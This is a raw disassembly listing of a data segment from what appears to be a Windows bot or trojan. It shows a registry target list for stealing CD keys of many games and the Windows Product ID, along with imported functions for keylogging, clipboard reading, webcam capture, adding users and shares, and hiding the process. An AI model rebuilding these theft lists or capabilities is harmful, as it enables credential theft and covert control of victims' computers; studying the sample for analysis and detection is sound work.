aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0
unk_423C60 db 2 ; DATA XREF: seg000:004063D8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToStar_2 db ' Failed to start connection thread, error: <%d>.',0
align 4
unk_423CB4 db 2 ; DATA XREF: seg000:0040630Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0
align 4
unk_423D0C db 2 ; DATA XREF: seg000:00406664o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToStar_3 db 'Failed to start server on Port %d.',0
align 10h
unk_423D50 db 2 ; DATA XREF: seg000:00406641o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToStar_4 db 'Failed to start client thread, error: <%d>.',0
unk_423D9C db 2 ; DATA XREF: seg000:004065C6o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
dword_423DF4 dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h
; DATA XREF: seg000:0040655Ao
; seg000:00410BDBo
dd 206C1F64h, 0BB022029h, 202002BBh, 76726553h, 73207265h
dd 74726174h, 6F206465h, 25203A6Eh, 64253A73h, 2Eh, 28026502h
dd 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h, 206C1F64h
dd 0BB022029h, 202002BBh, 6F727245h, 46203A72h, 656C6961h
dd 6F742064h, 6E6F6320h, 7463656Eh, 206F7420h, 67726174h
dd 202C7465h, 75746572h, 64656E72h, 253C203Ah, 2E3E64h
dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h
dd 206C1F64h, 0BB022029h, 202002BBh, 6F727245h, 46203A72h
dd 656C6961h, 6F742064h, 65706F20h, 6F73206Eh, 74656B63h
dd 202C2928h, 75746572h, 64656E72h, 253C203Ah, 2E3E64h
dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h
dd 206C1F64h, 0BB022029h, 202002BBh, 68747541h, 69746E65h
dd 69746163h, 66206E6Fh, 656C6961h, 52202E64h, 746F6D65h
dd 73752065h, 64697265h, 7325203Ah, 203D2120h, 2E7325h
dd 0
dd 80000001h
off_423F2C dd offset aSoftwareValveC ; DATA XREF: sub_406A7B+Cr
; sub_406A7B+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_423F38 dd 2 dup(0) dd 80000001h, 4250C0h, 4250B4h, 4250A4h, 2 dup(0)
dd 80000001h, 425084h, 425080h, 42506Ch, 2 dup(0)
dd 80000001h, 425048h, 425080h, 42503Ch, 2 dup(0)
dd 80000001h, 425018h, 425010h, 424FFCh, 2 dup(0)
dd 80000001h, 424FE8h, 424FD8h, 424FBCh, 2 dup(0)
dd 80000001h, 424F78h, 425100h, 424F64h, 2 dup(0)
dd 80000002h, 424F38h, 424F2Ch, 424F0Ch, 2 dup(0)
dd 80000002h, 424ED8h, 425100h, 424EC0h, 2 dup(0)
dd 80000002h, 424E8Ch, 425100h, 424E74h, 2 dup(0)
dd 80000002h, 424E5Ch, 425100h, 424E44h, 2 dup(0)
dd 80000002h, 424E08h, 42E348h, 424DF8h, 2 dup(0)
dd 80000002h, 424DC0h, 42E348h, 424DACh, 2 dup(0)
dd 80000002h, 424D60h, 42E348h, 424D40h, 2 dup(0)
dd 80000002h, 424CF0h, 42E348h, 424CC4h, 2 dup(0)
dd 80000002h, 424C88h, 42E348h, 424C74h, 2 dup(0)
dd 80000002h, 424C3Ch, 42E348h, 424C2Ch, 2 dup(0)
dd 80000002h, 424BDCh, 42E348h, 424BB0h, 2 dup(0)
dd 80000002h, 424B70h, 42E348h, 424B54h, 2 dup(0)
dd 80000002h, 424B24h, 42E348h, 424B04h, 2 dup(0)
dd 80000002h, 424AC8h, 42E348h, 424AB4h, 2 dup(0)
dd 80000002h, 424A6Ch, 42E348h, 424A4Ch, 2 dup(0)
dd 80000002h, 4249F8h, 42E348h, 4249C8h, 2 dup(0)
dd 80000002h, 424978h, 42E348h, 42494Ch, 2 dup(0)
dd 80000002h, 42490Ch, 424904h, 4248E4h, 2 dup(0)
dd 80000002h, 4248A0h, 42E348h, 424884h, 2 dup(0)
dd 80000002h, 424838h, 42E348h, 424814h, 2 dup(0)
dd 80000002h, 4247E0h, 42E348h, 4247D4h, 2 dup(0)
dd 80000002h, 4247A0h, 42E348h, 424794h, 2 dup(0)
dd 80000002h, 424760h, 42E348h, 424754h, 2 dup(0)
dd 80000002h, 424720h, 42E348h, 424714h, 2 dup(0)
dd 80000002h, 4246D8h, 42E348h, 4246C4h, 2 dup(0)
dd 80000002h, 424688h, 42E348h, 424674h, 2 dup(0)
dd 80000002h, 424644h, 425100h, 424628h, 2 dup(0)
dd 80000002h, 424608h, 424600h, 4245DCh, 2 dup(0)
dd 80000002h, 4245C0h, 424600h, 4245A0h, 2 dup(0)
dd 80000002h, 424580h, 424600h, 42455Ch, 2 dup(0)
dd 80000002h, 424544h, 424600h, 424540h, 2 dup(0)
dd 80000002h, 424524h, 424514h, 42450Ch, 2 dup(0)
dd 80000002h, 4244D8h, 4244D4h, 4244BCh, 2 dup(0)
dd 80000002h, 424480h, 424474h, 42444Ch, 42443Ch, 424428h
dd 80000002h, 424404h, 4243F8h, 4243E4h, 4243D4h, 4243CCh
dd 80000002h, 424404h, 4243F8h, 4243A0h, 4243D4h, 424398h
dd 80000002h, 424404h, 4243F8h, 424368h, 4243D4h, 424360h
dd 6 dup(0)
dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
dd 64726564h, 296B7261h, 0
dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h
dd 696E692Eh, 0
aNeverwinterNig db 'Neverwinter Nights',0
align 4
aLocation db 'Location',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 4
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aBaseMpSof2key db 'base\mp\sof2key',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
db 53h
aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
align 4
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 4
aKey db 'key',0
db 53h
aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
align 4
aChrome db 'Chrome',0
align 4
aSerialnumber db 'SerialNumber',0
align 4
db 53h
aOftwareTechlan db 'oftware\Techland\Chrome',0
align 10h
aNox db 'NOX',0
aSoftwareWestwo db 'Software\Westwood\NOX',0
align 4
aCommandAndConq db 'Command and Conquer: Red Alert 2',0
align 10h
db 53h
aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0
align 10h
aCommandAndCo_0 db 'Command and Conquer: Red Alert',0
align 10h
db 53h
aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 10h
aSerial db 'Serial',0
align 4
db 53h
aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0
align 4
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
db 53h
aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
align 4
aNascarRacing20 db 'Nascar Racing 2003',0
align 4
db 53h
aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 4
aNascarRacing_0 db 'Nascar Racing 2002',0
align 4
db 53h
aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
aNhl2003 db 'NHL 2003',0
align 10h
db 53h
aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
aNhl2002 db 'NHL 2002',0
align 10h
db 53h
aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 4
aFifa2003 db 'FIFA 2003',0
align 10h
db 53h
aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
aFifa2002 db 'FIFA 2002',0
align 10h
db 53h
aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 4
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 4
db 53h
aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
db 'on\ergc',0
align 4
aNeedForSpeedUn db 'Need For Speed: Underground',0
db 53h
aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
align 4
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 4
aErgc db 'ergc',0
align 4
db 53h
aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 4
aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0
align 4
db 53h
aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
db 'earhead\ergc',0
align 4
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 4
db 53h
aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
db 'eakthrough\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0
align 4
db 53h
aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
db 'gc',0
align 4
aGlobalOperatio db 'Global Operations',0
align 4
db 53h
aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 4
aCommandAndCo_2 db 'Command and Conquer: Generals',0
align 4
db 53h
aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 10h
db 53h
aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0
align 4
db 53h
aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
db 'o Hour\ergc',0
align 4
aBlackAndWhite db 'Black and White',0
db 53h
aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
aBattlefieldVie db 'Battlefield Vietnam',0
db 53h
aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 10h
db 53h
aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
db 'of WWII\ergc',0
align 10h
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
db 53h
aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
db 'e\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942',0
align 10h
db 53h
aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce db 'Freedom Force',0
align 4
db 53h
aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 4
db 53h
aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0
align 4
aUnrealTourname db 'Unreal Tournament 2004',0
align 4
db 53h
aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0
align 10h
aUnrealTourna_0 db 'Unreal Tournament 2003',0
align 4
db 53h
aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0
align 4
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 4
aProductid db 'ProductId',0
align 4
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0
align 4
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 4
aCustomernumber db 'CustomerNumber',0
align 4
aSoftware3d0Sta db 'Software\3d0\Status',0
aIndustryGiant2 db 'Industry Giant 2',0
align 10h
aPrvkey db 'prvkey',0
align 4
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aHalfLife db 'Half-Life',0
align 4
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 4
aGunmanChronicl db 'Gunman Chronicles',0
align 10h
aKey_0 db 'Key',0
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 4
aTheGladiators db 'The Gladiators',0
align 4
aRegnumber db 'RegNumber',0
align 10h
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: seg002:00423F34o
aCdkey db 'CDKey',0 ; DATA XREF: seg002:00423F30o
align 4
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: seg002:off_423F2Co
align 10h
asc_425130: ; DATA XREF: sub_406A7B+E9o
; sub_406A7B+F4o
unicode 0, <=>,0
aR: ; DATA XREF: sub_406A7B+8Fo
; seg000:loc_40F7B3o
unicode 0, <r>,0
aSS_3 db '%s\%s',0 ; DATA XREF: sub_406A7B+7Eo
; seg000:00406D8Do ...
align 10h
aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_406A7B+2Bo
align 4
unk_425154 db 2 ; DATA XREF: sub_406C30+C5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFilesFoundD_ db ' Files found: %d.',0
unk_425188 db 2 ; DATA XREF: sub_406C30+5Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSearchingForFi db ' Searching for file: %s.',0
align 4
aFoundSS db ' Found: %s\%s',0 ; DATA XREF: seg000:00406E4Fo
align 4
aS_3 db '%s\*',0 ; DATA XREF: seg000:00406D62o
align 4
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_406E9A+C50o
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_406E9A+C48o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_406E9A:loc_407AD5o
align 10h
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_406E9A+BE6o
align 10h
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_406E9A+BD9o
align 10h
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_406E9A+BCCo
align 10h
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_406E9A+BBFo
align 10h
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_406E9A+BB2o
align 10h
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_406E9A+BAAo
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_406E9A:loc_407A37o
align 10h
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_406E9A+B68o
align 10h
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_406E9A+B60o
align 10h
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_406E9A:loc_4079EDo
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_406E9A+B0Eo
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_406E9A+B01o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_406E9A+AF4o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_406E9A+AECo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_406E9A:loc_407979o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_406E9A+AAAo
align 10h
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_406E9A+AA2o
align 10h
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_406E9A:loc_40792Fo
align 10h
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_406E9A+A60o
align 10h
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_406E9A+A58o
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_406E9A:loc_4078E5o
align 4
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_406E9A+9CEo
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_406E9A+9C1o
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_406E9A+9B4o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_406E9A+9A7o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_406E9A+99Ao
align 10h
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_406E9A+98Do
align 10h
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_406E9A+980o
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_406E9A+973o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_406E9A+966o
align 4
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_406E9A+959o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_406E9A+951o
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_406E9A:loc_4077DAo
align 10h
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_406E9A+903o
align 10h
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_406E9A+8F6o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_406E9A+8EEo
align 10h
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_406E9A:loc_40777Bo
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_406E9A+8B4o
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_406E9A+842o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_406E9A+835o
align 10h
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_406E9A+828o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_406E9A+81Bo
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_406E9A+80Eo
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_406E9A+801o
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_406E9A+7F4o
align 10h
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_406E9A+7E7o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_406E9A+7DAo
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_406E9A+7D2o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_406E9A:loc_40765Bo
aClosesocket db 'closesocket',0 ; DATA XREF: sub_406E9A+688o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_406E9A+67Bo
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_406E9A+66Eo
align 10h
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_406E9A+661o
align 10h
aGethostname db 'gethostname',0 ; DATA XREF: sub_406E9A+654o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_406E9A+647o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_406E9A+63Ao
align 4
aAccept db 'accept',0 ; DATA XREF: sub_406E9A+62Do
align 4
aListen db 'listen',0 ; DATA XREF: sub_406E9A+620o
align 4
aSelect db 'select',0 ; DATA XREF: sub_406E9A+613o
align 4
aBind db 'bind',0 ; DATA XREF: sub_406E9A+60Bo
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_406E9A+5F9o
align 10h
aRecv db 'recv',0 ; DATA XREF: sub_406E9A+5ECo
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_406E9A+5DFo
align 10h
aSend db 'send',0 ; DATA XREF: sub_406E9A+5D2o
; seg000:0040D432o
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_406E9A+5C5o
align 10h
aNtohs db 'ntohs',0 ; DATA XREF: sub_406E9A+5B8o
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_406E9A+5ABo
align 10h
aHtons db 'htons',0 ; DATA XREF: sub_406E9A+59Eo
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_406E9A+591o
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_406E9A+584o
align 10h
aConnect db 'connect',0 ; DATA XREF: sub_406E9A+577o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_406E9A+56Ao
aSocket db 'socket',0 ; DATA XREF: sub_406E9A+55Do
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_406E9A+550o
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_406E9A+543o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_406E9A+536o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_406E9A+529o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_406E9A+51Co
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_406E9A+50Fo
align 10h
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_406E9A+507o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_406E9A+4F6o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_406E9A+483o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_406E9A+476o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_406E9A+469o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_406E9A+45Co
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_406E9A+44Fo
align 10h
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_406E9A+442o
align 10h
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_406E9A+435o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_406E9A+428o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_406E9A+420o
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_406E9A:loc_4072A9o
align 10h
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_406E9A:loc_407281o
align 10h
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_406E9A+38Fo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_406E9A+382o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_406E9A+375o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_406E9A+368o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_406E9A+35Bo
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_406E9A+34Eo
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_406E9A+341o
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_406E9A:loc_4071D3o
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_406E9A+309o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_406E9A+2FCo
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_406E9A:loc_40718Eo
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_406E9A+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_406E9A+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_406E9A+292o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_406E9A+285o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_406E9A+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_406E9A+270o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_406E9A:loc_4070F9o
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_406E9A+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_406E9A+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_406E9A+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_406E9A:loc_407092o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_406E9A+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_406E9A+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_406E9A+186o
align 10h
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_406E9A+179o
align 10h
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_406E9A+16Co
align 10h
aIswindow db 'IsWindow',0 ; DATA XREF: sub_406E9A+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_406E9A+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_406E9A+14Ao
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_406E9A:loc_406FCFo
; seg000:0041C78Bo
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_406E9A:loc_406FA2o
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_406E9A+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_406E9A+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_406E9A+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_406E9A+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_406E9A+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_406E9A+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_406E9A+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_406E9A+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_406E9A+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_406E9A+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_406E9A+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_406E9A+Ao
align 4
dword_425AA4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_407B27+2F2o
dd 2029206Ch, 2BBBB02h
aDllTestComplet db ' DLL test complete.',0
align 4
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+2CCo
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+264o
align 4
